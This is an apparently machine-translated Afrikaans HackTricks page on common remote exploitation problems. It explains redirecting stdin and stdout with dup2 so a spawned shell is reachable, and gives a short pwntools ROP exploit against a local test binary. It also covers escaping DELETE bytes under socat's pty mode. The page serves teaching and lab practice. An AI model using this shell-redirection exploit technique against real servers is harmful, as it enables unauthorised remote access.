Algemene Exploit Probleme

Reading time: 2 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

FD's in Afgeleë Exploitatie

Wanneer 'n exploit na 'n afgeleë bediener gestuur word wat system('/bin/sh') aanroep, sal dit in die bedienerproses uitgevoer word, en /bin/sh sal insette van stdin (FD: 0) verwag en die uitvoer in stdout en stderr (FD's 1 en 2) druk. Die aanvaller sal dus nie met die shell kan interaksie hê nie.

'n Manier om dit reg te stel, is om aan te neem dat wanneer die bediener begin het, dit die FD nommer 3 (vir luister) geskep het en dat jou verbinding dan in die FD nommer 4 gaan wees. Daarom is dit moontlik om die syscall dup2 te gebruik om die stdin (FD 0) en die stdout (FD 1) in die FD 4 (die van die aanvaller se verbinding) te dupliseer, sodat dit moontlik sal wees om met die shell in kontak te tree sodra dit uitgevoer word.

Exploit voorbeeld van hier:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Let daarop dat socat reeds stdin en stdout na die socket oordra. egter, die pty modus sluit DELETE karakters in. So, as jy 'n \x7f ( DELETE -) stuur, sal dit die vorige karakter van jou exploit verwyder.

Om dit te omseil, moet die ontsnappingskarakter \x16 voor enige \x7f wat gestuur word, geplaas word.

Hier kan jy 'n voorbeeld van hierdie gedrag vind.

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks